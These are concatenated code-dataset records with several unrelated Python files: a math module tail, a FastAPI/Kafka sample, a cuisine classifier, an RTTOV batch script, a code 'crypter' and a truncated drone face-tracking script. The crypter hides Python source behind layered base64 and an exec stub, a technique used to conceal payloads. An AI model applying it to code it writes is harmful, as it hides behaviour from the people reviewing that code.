1123344433211\n\n\n112345677888776543211\n1112111\n 1112111\n 1112111\n 1112111\n 1112111\n 1112111\n....2246688866422....\n 11222211\n 11222211\n 11222211\n 11222211\n.......2224222.......\n\n\n\"\"\"\n\n\nif __name__ == \"__main__\":\n\n start_time = time()\n\n\n profile = argv.profile\n name = argv.next()\n _seed = argv.get(\"seed\")\n if _seed is not None:\n print(\"seed(%s)\"%(_seed))\n seed(_seed)\n\n if profile:\n import cProfile as profile\n profile.run(\"%s()\"%name)\n\n elif name is not None:\n fn = eval(name)\n fn()\n\n else:\n test()\n\n t = time() - start_time\n print(\"finished in %.3f seconds\"%t)\n print(\"OK!\\n\")\n\n\n", "repo_name": "punkdit/bruhat", "sub_path": "bruhat/qpoly.py", "file_name": "qpoly.py", "file_ext": "py", "file_size_in_byte": 9736, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "78", "api": [{"api_name": "functools.lru_cache", "line_number": 13, "usage_type": "call"}, {"api_name": "bruhat.element.Z", "line_number": 30, "usage_type": "name"}, {"api_name": "bruhat.poly.Poly", "line_number": 31, "usage_type": "call"}, {"api_name": "bruhat.poly.Poly", "line_number": 32, "usage_type": "call"}, {"api_name": "bruhat.poly.Poly", "line_number": 33, "usage_type": "call"}, {"api_name": "bruhat.todd_coxeter.Schreier.make_reflection", "line_number": 77, "usage_type": "call"}, {"api_name": "bruhat.todd_coxeter.Schreier", "line_number": 77, "usage_type": "name"}, {"api_name": "bruhat.todd_coxeter.Schreier.make_reflection", "line_number": 87, "usage_type": "call"}, {"api_name": "bruhat.todd_coxeter.Schreier", "line_number": 87, "usage_type": "name"}, {"api_name": "bruhat.poly.Poly", "line_number": 251, "usage_type": "argument"}, {"api_name": "time.time", "line_number": 434, "usage_type": "call"}, {"api_name": "bruhat.argv.argv.profile", "line_number": 437, "usage_type": "attribute"}, {"api_name": "bruhat.argv.argv", "line_number": 437, "usage_type": "name"}, {"api_name": "bruhat.argv.argv.next", "line_number": 438, "usage_type": "call"}, {"api_name": "bruhat.argv.argv", "line_number": 438, "usage_type": "name"}, {"api_name": "bruhat.argv.argv.get", "line_number": 439, "usage_type": "call"}, {"api_name": "bruhat.argv.argv", "line_number": 439, "usage_type": "name"}, {"api_name": "cProfile.run", "line_number": 446, "usage_type": "call"}, {"api_name": "time.time", "line_number": 455, "usage_type": "call"}]} {"seq_id": "8110440883", "text": "from fastapi import FastAPI\nfrom contextlib import asynccontextmanager\nfrom loguru import logger\nimport asyncio\nfrom consumer import Worker as Consumer\n\n# on_event deprecated -> lifespan으로 변경\n@asynccontextmanager\nasync def lifespan(app: FastAPI):\n logger.info(\"lifespan start...\")\n consumer = Consumer()\n task2 = asyncio.create_task(consumer.process())\n logger.info(\"lifespan start !\")\n yield\n logger.info(\"lifespan close...\")\n task2.cancel()\n if consumer:\n consumer.close()\n logger.info(\"lifespan closed!\")\n\n\napp = FastAPI(lifespan=lifespan)\n\n\n@app.get(\"/\")\nasync def get_root():\n # logger.debug(\"this is root!\")\n return \"this is root\"\n\n\n@app.get(\"/health\")\nasync def get_health():\n return \"healthy\"", "repo_name": "kykim88/all-in-one", "sub_path": "kafka/sample-app/src/main2.py", "file_name": "main2.py", "file_ext": "py", "file_size_in_byte": 751, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "fastapi.FastAPI", "line_number": 9, "usage_type": "name"}, {"api_name": "loguru.logger.info", "line_number": 10, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 10, "usage_type": "name"}, {"api_name": "consumer.Worker", "line_number": 11, "usage_type": "call"}, {"api_name": "asyncio.create_task", "line_number": 12, "usage_type": "call"}, {"api_name": "consumer.process", "line_number": 12, "usage_type": "call"}, {"api_name": "loguru.logger.info", "line_number": 13, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 13, "usage_type": "name"}, {"api_name": "loguru.logger.info", "line_number": 15, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 15, "usage_type": "name"}, {"api_name": "consumer.close", "line_number": 18, "usage_type": "call"}, {"api_name": "loguru.logger.info", "line_number": 19, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 19, "usage_type": "name"}, {"api_name": "contextlib.asynccontextmanager", "line_number": 8, "usage_type": "name"}, {"api_name": "fastapi.FastAPI", "line_number": 22, "usage_type": "call"}]} {"seq_id": "29249598684", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom preprocessing import classify_preprocessing,clustering_preprocessing\nfrom sklearn import svm, tree, metrics\nfrom sklearn.metrics import classification_report\nimport sklearn.metrics\nfrom sklearn.feature_extraction.text import TfidfVectorizer, TfidfTransformer\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.utils import shuffle\nfrom sklearn.cluster import KMeans\nimport matplotlib.pyplot as plt\nfrom sklearn.cluster import KMeans\nfrom sklearn.metrics import silhouette_score\nfrom sklearn.datasets import make_blobs\nfrom sklearn.cluster import KMeans\nfrom sklearn import metrics\nimport matplotlib.pyplot as plt\nimport matplotlib.cm as cm\nimport numpy as np\nfrom functions import learning_curve_graph, accuracy_plot, generate_error_eval,plot_confusion_matrix, clean_class, stopwords_gen\nimport pandas as pd\nimport json\nfrom collections import Counter\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom preprocessing import classify_preprocessing\nimport tensorflow as tf\nfrom tensorflow import keras\nimport seaborn as sn\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.calibration import calibration_curve\nfrom sklearn.metrics import classification_report, confusion_matrix\nfrom keras import models\nfrom keras import layers\nfrom keras.wrappers.scikit_learn import KerasClassifier\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.datasets import make_classification\nfrom keras.callbacks import EarlyStopping\nfrom urllib.request import urlopen\n\n#number of cuisines\nnumCuisine = 400\n\nwith urlopen('https://raw.githubusercontent.com/salauddinaliahmed/EBC_7100-Assignment_1/master/train.json') as data_file: \n data = json.loads(data_file.read()) \n\n#Classification\ncomplete_vector, x_train, x_test, y_train, y_test, df_sample, x_raw= classify_preprocessing(numCuisine)\ndf_y = df_sample[\"cuisine\"]\n\ncluster_vector, dictCuisineIngred, numCuisines, numIngred, cuisines, ingredients = clustering_preprocessing(data)\n\nstop_words, stop_tuple = stopwords_gen(dictCuisineIngred)\n\n#Cleaning_the_train : removing the stop words\nlist_x = []\nfor each_item in x_raw.items():\n new_dummy = []\n new_dummy.append((each_item[1]).split(','))\n list_x.append(new_dummy)\n new_dummy = []\n\nclean_x_train= clean_class(list_x,stop_words)\n\nnew_clean_list = []\nfor each_t in clean_x_train:\n new_clean_list.append(\",\".join(each_t))\n\n\ndef comma_split(s):\n return s.split(',')\nvectorizertr = TfidfVectorizer(tokenizer=comma_split,\n ngram_range = ( 1 , 1 ),analyzer=\"word\", \n max_df = .57 , binary=False , token_pattern=r'\\w+' , sublinear_tf=False, lowercase=False)\ncomplete_vector = vectorizertr.fit_transform(new_clean_list)\nx_train, x_test = train_test_split(complete_vector, test_size=0.20, random_state = 2)\n\ndef comma_split(s):\n return s.split(',')\ncuisines = ['0:italian',\n '1:mexican',\n '2:southern_us',\n '3:indian',\n '4:chinese',\n '5:french',\n '6:cajun_creole',\n '7:thai',\n '8:japanese',\n '9:greek',\n '10:spanish',\n '11:korean',\n '12:vietnamese',\n '13:moroccan',\n '14:british',\n '15:filipino',\n '16:irish',\n '17:jamaican',\n '18:russian',\n '19:brazilian']\n\nk_folds = 10\n\n#-------------------- TFIDF-SVM -------------------#\nprint (\"=======================================================================\")\nprint (\"Support Vector Machine-----------------------------------------------------------------------\")\nprint (\"=======================================================================\")\nclf_svm = svm.SVC(C=1.0,\n kernel='linear',\n degree=3, \n gamma='auto_deprecated', \n coef0=0.0, \n shrinking=True,\n probability=False, \n tol=0.001, \n cache_size=2000, \n class_weight=None,\n verbose=False, \n max_iter=-1, \n decision_function_shape='ovr',\n random_state=None)\n\nclf_svm.fit(x_train, y_train)\nprint (\"SVM Classifier accuracy for TFIDF: \", \"{:.3%}\".format(clf_svm.score(x_test,y_test)))\n\n#Performing cross validation for SVM TFIDF\nsvm_tfidf_scores = cross_val_score(estimator=clf_svm, \n X=complete_vector, \n y=df_y, \n cv=k_folds)\n\nprint('cross-validation accuracy scores TFIDF SVM: %s' % svm_tfidf_scores)\nprint('cross-validation accuracy: %.3f +/- %.3f' % (np.mean(svm_tfidf_scores), np.std(svm_tfidf_scores)))\n#print (\"Validation Curve for SVM TFIDF\")\n#validation_curve_graph(complete_vector, df_y, clf_svm, \"gamma\",\"Validation Curve with SVM\")\nprint (\"Learning Curve for SVM TFIDF\")\nlearning_curve_graph(clf_svm, complete_vector, df_y)\nprint(\"Accuracy Plot fot SVM TFIDF\")\naccuracy_plot(k_folds, svm_tfidf_scores, clf_svm,\"SVM\")\n\n#ERROR EVALUATION\nprint (\"------------Error Evaluation for SVM-------------\")\nprint (\"Error Evaluation for SVM TFIDF\")\nsvm_tfidf_confu_mat = generate_error_eval(clf_svm, complete_vector, df_y, cuisines, k_folds)\n\nprint(\"Graphs - SVM TFIDF\")\nplt.figure()\nplot_confusion_matrix(svm_tfidf_confu_mat, classes= cuisines,\n title='Confusion matrix, without normalization')\n#Plot normalized confusion matrix\nplt.figure()\nplot_confusion_matrix(svm_tfidf_confu_mat, classes=cuisines, normalize=True,\n title='Normalized confusion matrix')\nplt.show()\n\n#-------------------- TFIDF-KNN -------------------#\nprint (\"=======================================================================\")\nprint (\"k-nearest neighbors--------------------------------------------------------------------\")\nprint (\"=======================================================================\")\nclf_knn = KNeighborsClassifier(weights='uniform', \n algorithm='auto', \n leaf_size=30, \n p=2, \n metric_params=None, \n n_jobs=1,\n n_neighbors=10)\n\nclf_knn.fit(x_train, y_train)\nprint (\"KNN Classifier accuracy for TFIDF: \", \"{:.3%}\".format(clf_knn.score(x_test,y_test)))\n\n#Performing cross validation for KNN TFIDF\nknn_tfidf_scores = cross_val_score(estimator=clf_knn, \n X=complete_vector, \n y=df_y, \n cv=k_folds)\n\nprint('cross-validation accuracy scores TFIDF KNN: %s' % knn_tfidf_scores)\nprint('cross-validation accuracy: %.3f +/- %.3f' % (np.mean(knn_tfidf_scores), np.std(knn_tfidf_scores)))\n#print (\"Validation Curve for KNN TFIDF\")\n#validation_curve_graph(complete_vector, df_y, clf_knn,\"n_neighbors\",\"Validation Curve with KNN\")\nprint (\"Learning Curve for KNN TFIDF\")\nlearning_curve_graph(clf_knn, complete_vector, df_y)\nprint(\"Accuracy Plot fot KNN TFIDF\")\naccuracy_plot(k_folds, knn_tfidf_scores, clf_knn,\"KNN\")\n\n#ERROR EVALUATION\nprint (\"------------Error Evaluation for KNN-------------\")\nprint (\"Error Evaluation for KNN TFIDF\")\nknn_tfidf_confu_mat = generate_error_eval(clf_knn, complete_vector, df_y,cuisines, k_folds)\n\nprint(\"Graphs - KNN TFIDF\")\nplt.figure()\nplot_confusion_matrix(knn_tfidf_confu_mat, classes= cuisines,\n title='Confusion matrix, without normalization')\n#Plot normalized confusion matrix\nplt.figure()\nplot_confusion_matrix(knn_tfidf_confu_mat, classes=cuisines, normalize=True,\n title='Normalized confusion matrix')\nplt.show()\n#-------------------- TFIDF-Decision Tree -------------------#\nprint (\"=======================================================================\")\nprint (\"Decision Tree--------------------------------------------------------------------\")\nprint (\"=======================================================================\")\nclf_dtree = tree.DecisionTreeClassifier(criterion='gini', \n splitter='best', \n max_depth=None, \n min_samples_split=2, \n min_samples_leaf=1, \n min_weight_fraction_leaf=0.0, \n max_features=None, \n random_state=None, \n max_leaf_nodes=None, \n min_impurity_decrease=0.0, \n min_impurity_split=None, \n class_weight=None, \n presort=False)\n\nclf_dtree.fit(x_train, y_train)\n#Performing cross validation for Decision Tree TFIDF\ndtree_tfidf_scores = cross_val_score(estimator=clf_dtree, \n X=complete_vector, \n y=df_y, \n cv=k_folds)\nprint (\"Decision Tree Classifier accuracy for TFIDF: \", \"{:.3%}\".format(clf_dtree.score(x_test,y_test)))\nprint('cross-validation accuracy scores TFIDF Decision Tree: %s' % dtree_tfidf_scores)\nprint('cross-validation accuracy: %.3f +/- %.3f' % (np.mean(dtree_tfidf_scores), np.std(dtree_tfidf_scores)))\n#print (\"Validation Curve for Decision Tree TFIDF\")\n#validation_curve_graph(complete_vector, df_y, clf_dtree,\"max_depth\",\"Validation Curve with Decision Tree\")\nprint (\"Learning Curve for Decision Tree TFIDF\")\nlearning_curve_graph(clf_dtree, complete_vector, df_y)\nprint(\"Accuracy Plot fot Decision Tree TFIDF\")\naccuracy_plot(k_folds, dtree_tfidf_scores, clf_dtree,\"Decision Tree\")\n\n#ERROR EVALUATION\nprint (\"------------Error Evaluation for Decision Tree-------------\")\nprint (\"Error Evaluation for Decision Tree TFIDF\")\ndtree_tfidf_confu_mat = generate_error_eval(clf_dtree, complete_vector, df_y,cuisines, k_folds)\n\nprint(\"Graphs - Decision Tree TFIDF\")\nplt.figure()\nplot_confusion_matrix(dtree_tfidf_confu_mat, classes= cuisines,\n title='Confusion matrix, without normalization')\n#Plot normalized confusion matrix\nplt.figure()\nplot_confusion_matrix(dtree_tfidf_confu_mat, classes=cuisines, normalize=True,\n title='Normalized confusion matrix')\nplt.show()\n\n#-------------------- TFIDF-Random Forest -------------------#\nprint (\"=======================================================================\")\nprint (\"Random Forest--------------------------------------------------------------------\")\nprint (\"=======================================================================\")\nclf_rf = RandomForestClassifier(bootstrap=True,\n class_weight=None,\n criterion='gini',\n max_depth=2, \n max_features='auto',\n max_leaf_nodes=None,\n min_impurity_decrease=0.0,\n min_impurity_split=None,\n min_samples_leaf=1,\n min_samples_split=2,\n min_weight_fraction_leaf=0.0, \n n_estimators=100, \n n_jobs=None,\n oob_score=False, \n random_state=0, \n verbose=0, \n warm_start=False)\nclf_rf.fit(x_train, y_train)\n#Performing cross validation for Random Forest TFIDF\nrf_tfidf_scores = cross_val_score(estimator=clf_rf, \n X=complete_vector, \n y=df_y, \n cv=k_folds)\nprint (\"Random Forest Classifier accuracy for TFIDF: \", \"{:.3%}\".format(clf_rf.score(x_test,y_test)))\nprint('cross-validation accuracy scores TFIDF Random Forest: %s' % rf_tfidf_scores)\nprint('cross-validation accuracy: %.3f +/- %.3f' % (np.mean(rf_tfidf_scores), np.std(rf_tfidf_scores)))\nprint (\"Learning Curve for Random Forest TFIDF\")\nlearning_curve_graph(clf_rf, complete_vector, df_y)\nprint(\"Accuracy Plot fot Random Forest TFIDF\")\naccuracy_plot(k_folds, rf_tfidf_scores, clf_rf,\"Random Forest\")\n\n#ERROR EVALUATION\nprint (\"------------Error Evaluation for Random Forest-------------\")\nprint (\"Error Evaluation for Random Forest TFIDF\")\nrf_tfidf_confu_mat = generate_error_eval(clf_rf, complete_vector, df_y,cuisines, k_folds)\n\nprint(\"Graphs - Random Forest TFIDF\")\nplt.figure()\nplot_confusion_matrix(rf_tfidf_confu_mat, classes= cuisines,\n title='Confusion matrix, without normalization')\n#Plot normalized confusion matrix\nplt.figure()\nplot_confusion_matrix(rf_tfidf_confu_mat, classes=cuisines, normalize=True,\n title='Normalized confusion matrix')\nplt.show()\n\n##Taking user input here for prediction\nuser_input = input(\"Please enter a comma seperated ingredients: \")\nmyList = user_input.split(\",\")\n\n#Removing the stop words from the given list of ingredients\nclean_x_train_1= clean_class(list_x,stop_words)\n\nclean_x_train_1.append(myList)\n\nnew_clean_list_1 = []\nfor each_t in clean_x_train:\n new_clean_list_1.append(\",\".join(each_t))\n\n#Performing the TFIDF vector on the given list of ingredients\ndef comma_split(s):\n return s.split(',')\nvectorizertr = TfidfVectorizer(tokenizer=comma_split,\n ngram_range = ( 1 , 1 ),analyzer=\"word\", \n max_df = .57 , binary=False , token_pattern=r'\\w+' , sublinear_tf=False, lowercase=False)\ncomplete_vector_1 = vectorizertr.fit_transform(new_clean_list_1)\n\n#Predicting the cusine based on the given set of ingredients\noutputClass = clf_svm.predict(complete_vector_1[-1])\nprint (\"This is the prediction value\",outputClass)", "repo_name": "salauddinaliahmed/EBC_7100-Assignment_1", "sub_path": "Final_project/main_classification.py", "file_name": "main_classification.py", "file_ext": "py", "file_size_in_byte": 14294, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "urllib.request.urlopen", "line_number": 49, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 50, "usage_type": "call"}, {"api_name": "preprocessing.classify_preprocessing", "line_number": 53, "usage_type": "call"}, {"api_name": "preprocessing.clustering_preprocessing", "line_number": 56, "usage_type": "call"}, {"api_name": "functions.stopwords_gen", "line_number": 58, "usage_type": "call"}, {"api_name": "functions.clean_class", "line_number": 68, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text.TfidfVectorizer", "line_number": 77, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 81, "usage_type": "call"}, {"api_name": "sklearn.svm.SVC", "line_number": 112, "usage_type": "call"}, {"api_name": "sklearn.svm", "line_number": 112, "usage_type": "name"}, {"api_name": "sklearn.model_selection.cross_val_score", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 137, "usage_type": "call"}, {"api_name": "functions.learning_curve_graph", "line_number": 141, "usage_type": "call"}, {"api_name": "functions.accuracy_plot", "line_number": 143, "usage_type": "call"}, {"api_name": "functions.generate_error_eval", "line_number": 148, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 151, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 151, "usage_type": "name"}, {"api_name": "functions.plot_confusion_matrix", "line_number": 152, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 155, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 155, "usage_type": "name"}, {"api_name": "functions.plot_confusion_matrix", "line_number": 156, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 158, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 158, "usage_type": "name"}, {"api_name": "sklearn.neighbors.KNeighborsClassifier", "line_number": 164, "usage_type": "call"}, {"api_name": "sklearn.model_selection.cross_val_score", "line_number": 176, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 182, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 182, "usage_type": "call"}, {"api_name": "functions.learning_curve_graph", "line_number": 186, "usage_type": "call"}, {"api_name": "functions.accuracy_plot", "line_number": 188, "usage_type": "call"}, {"api_name": "functions.generate_error_eval", "line_number": 193, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 196, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 196, "usage_type": "name"}, {"api_name": "functions.plot_confusion_matrix", "line_number": 197, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 200, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 200, "usage_type": "name"}, {"api_name": "functions.plot_confusion_matrix", "line_number": 201, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 203, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 203, "usage_type": "name"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 208, "usage_type": "call"}, {"api_name": "sklearn.tree", "line_number": 208, "usage_type": "name"}, {"api_name": "sklearn.model_selection.cross_val_score", "line_number": 224, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 230, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 230, "usage_type": "call"}, {"api_name": "functions.learning_curve_graph", "line_number": 234, "usage_type": "call"}, {"api_name": "functions.accuracy_plot", "line_number": 236, "usage_type": "call"}, {"api_name": "functions.generate_error_eval", "line_number": 241, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 244, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 244, "usage_type": "name"}, {"api_name": "functions.plot_confusion_matrix", "line_number": 245, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 248, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 248, "usage_type": "name"}, {"api_name": "functions.plot_confusion_matrix", "line_number": 249, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 251, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 251, "usage_type": "name"}, {"api_name": "sklearn.ensemble.RandomForestClassifier", "line_number": 257, "usage_type": "call"}, {"api_name": "sklearn.model_selection.cross_val_score", "line_number": 276, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 282, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 282, "usage_type": "call"}, {"api_name": "functions.learning_curve_graph", "line_number": 284, "usage_type": "call"}, {"api_name": "functions.accuracy_plot", "line_number": 286, "usage_type": "call"}, {"api_name": "functions.generate_error_eval", "line_number": 291, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 294, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 294, "usage_type": "name"}, {"api_name": "functions.plot_confusion_matrix", "line_number": 295, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 298, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 298, "usage_type": "name"}, {"api_name": "functions.plot_confusion_matrix", "line_number": 299, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 301, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 301, "usage_type": "name"}, {"api_name": "functions.clean_class", "line_number": 308, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text.TfidfVectorizer", "line_number": 319, "usage_type": "call"}]} {"seq_id": "30021475290", "text": "'''\n@Description: make mietable in a batch mode\n@Author: Hejun Xie\n@Date: 2020-07-02 08:35:04\n@LastEditors: Hejun Xie\n@LastEditTime: 2020-07-06 12:36:50\n'''\n# -*- coding: utf-8 -*-\n\nimport os\nimport sys\nimport datetime\nimport logging\n\nif __name__ == \"__main__\":\n\n # [A]. logging configure\n log_datetime = datetime.datetime.now()\n log_filename = './log/{:%Y%m%d%H%M%S}.txt'.format(log_datetime)\n\n logger = logging.getLogger()\n logger.setLevel(logging.DEBUG)\n\n fh_debug = logging.FileHandler(log_filename + \".debug\", mode='w')\n fh_debug.setLevel(logging.DEBUG)\n\n fh_info = logging.FileHandler(log_filename + \".info\", mode='w')\n fh_info.setLevel(logging.INFO)\n\n ch = logging.StreamHandler()\n ch.setLevel(logging.INFO)\n\n formatter = logging.Formatter(\"%(asctime)s - %(filename)s[line:%(lineno)d] - %(levelname)s: %(message)s\")\n fh_debug.setFormatter(formatter)\n fh_info.setFormatter(formatter)\n ch.setFormatter(formatter)\n\n logger.addHandler(fh_debug)\n logger.addHandler(fh_info)\n logger.addHandler(ch)\n\n # I/O\n config_dir = \"./channels_dat_liuddashapes\"\n rttov_home = \"../../\"\n output_dir = os.path.join(rttov_home, 'rtcoef_rttov12', 'mietable')\n tempdir = \"./mietable_temp\"\n\n # start\n filelist = os.listdir(config_dir)\n\n # remove channels.dat\n if os.path.exists(\"channels.dat\"):\n os.system(\"rm channels.dat\")\n\n for configfile in filelist:\n config_filepath = os.path.join(config_dir, configfile)\n logger.info(config_filepath)\n os.system(\"cp {} ./channels.dat\".format(config_filepath))\n\n # run\n command = \"./mie_table_generation.ksh\"\n logger.debug(\"\\n\" + command)\n pipe = os.popen(command)\n resp = pipe.read()\n logger.debug(\"\\n\" + resp)\n # os.system(command)\n\n os.system(\"rm channels.dat\")\n\n # rename and move\n tempfile = os.listdir(tempdir)[0]\n tempfilepath = os.path.join(tempdir, tempfile)\n segments = tempfile.split('.')\n shapename = config_filepath.split('_')[-1]\n\n segments[0] = '_'.join([segments[0], shapename])\n newname = '.'.join(segments)\n newpath = os.path.join(output_dir, newname)\n\n logger.info(tempfilepath)\n logger.info(newpath)\n\n os.system(\"mv {} {}\".format(tempfilepath, newpath))\n", "repo_name": "Usami-Renko/RTTOV-SCATT-simulator", "sub_path": "rttov/rttov122/src/mw_scatt_coef/batch_mietable.py", "file_name": "batch_mietable.py", "file_ext": "py", "file_size_in_byte": 2386, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "datetime.datetime.now", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 18, "usage_type": "attribute"}, {"api_name": "logging.getLogger", "line_number": 21, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 22, "usage_type": "attribute"}, {"api_name": "logging.FileHandler", "line_number": 24, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 25, "usage_type": "attribute"}, {"api_name": "logging.FileHandler", "line_number": 27, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 28, "usage_type": "attribute"}, {"api_name": "logging.StreamHandler", "line_number": 30, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 31, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 33, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 45, "usage_type": "call"}, {"api_name": "os.path", "line_number": 45, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 52, "usage_type": "call"}, {"api_name": "os.path", "line_number": 52, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path", "line_number": 56, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 58, "usage_type": "call"}, {"api_name": "os.popen", "line_number": 63, "usage_type": "call"}, {"api_name": "os.system", "line_number": 68, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path", "line_number": 72, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 78, "usage_type": "call"}, {"api_name": "os.path", "line_number": 78, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 83, "usage_type": "call"}]} {"seq_id": "71265869692", "text": "import base64\nimport uuid\nimport string\nfrom random import randrange\nimport random\n\ndef random_char(y):\n return ''.join(random.choice(string.ascii_letters) for x in range(y))\n\ncode=input('Python code to be encrypt : ')\n\nrandomuuid=uuid.uuid4()\nrandomuuid=str(randomuuid).replace('-','')\n\ncode=code+'#'+randomuuid\n\nencoded=base64.b64encode(code.encode('ascii'))\n\nencoded=str(encoded, 'utf-8')\n\nprint(encoded)\n\nshelter=\"import base64;exec(base64.b64decode('\"+encoded+\"'))\"\n\nencoded=base64.b64encode(shelter.encode('ascii'))\n\nencoded=str(encoded, 'utf-8')\n\nrandom_index = randrange(0,len(encoded))\n\nreplace=encoded[random_index]\n\nprint('replaced :'+replace)\n\nencoded=encoded.replace(encoded[random_index],'*')\n\nrand = random_char(10)\n\ncomposition=\"import base64;\"+rand+\"='\"+encoded+\"';\"+rand+\"=\"+rand+\".replace('*','\"+replace+\"');exec(base64.b64decode(\"+rand+\"))\"\n\nprint(composition)", "repo_name": "atichat45/Python-Crypter", "sub_path": "python-crypter.py", "file_name": "python-crypter.py", "file_ext": "py", "file_size_in_byte": 886, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "78", "api": [{"api_name": "random.choice", "line_number": 8, "usage_type": "call"}, {"api_name": "string.ascii_letters", "line_number": 8, "usage_type": "attribute"}, {"api_name": "uuid.uuid4", "line_number": 12, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 17, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 25, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 29, "usage_type": "call"}]} {"seq_id": "73960887290", "text": "import cv2\nimport sys\nimport os\nimport time\nfrom enum import Enum\nfrom djitellopy import Tello\n\nclass State (Enum):\n\n detectingFaces = 1\n goingToPerson = 2\n\nstate = State.detectingFaces\n\nS=60\nFPS=30\n\ndistanceThreshold= 200\n\nspeed= 10\n\ncurrentScreenshot = 1\n\n\nTOLERANCE_X = 4\nTOLERANCE_Y = 4\nSLOWDOWN_THRESHOLD_X = 20\nSLOWDOWN_THRESHOLD_Y = 2\nDRONE_SPEED_X = 10\nDRONE_SPEED_Y = 10\nSET_POINT_X = 480\nSET_POINT_Y = 360\n\n\nfaceCascade = cv2.CascadeClassifier(\"faced.xml\")\ndrone = Tello() # tello o drone = Tello() declaramos tello como objeto.\ndrone.connect()\ndrone.takeoff()\ndrone.move_up(200)\ntime.sleep(2)\ndrone.streamon() # start camera streaming\n\n\n# video_capture = cv2.VideoCapture(\"udp://0.0.0.0:11111\")\n# video_capture = cv2.VideoCapture(\"rtsp://192.168.1.1\")\n# video_capture = cv2.VideoCapture(0)\n\nwhile True:\n \n # ret, frame = video_capture.read()\n \n\n frame = drone.get_frame_read().frame # capturing frame from drone\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) # turning image into gray scale\n\n faces = faceCascade.detectMultiScale( # face detection\n gray,\n scaleFactor=1.1,\n minNeighbors=5,\n minSize=(30, 30),\n flags=cv2.CASCADE_SCALE_IMAGE\n )\n if state == State.detectingFaces:\n drone.rotate_clockwise(15)\n time.sleep(1)\n i = 0\n # Decorating image for debug purposes and looping through every detected face\n for (x, y, w, h) in faces:\n\n cv2.rectangle(frame, (x, y), 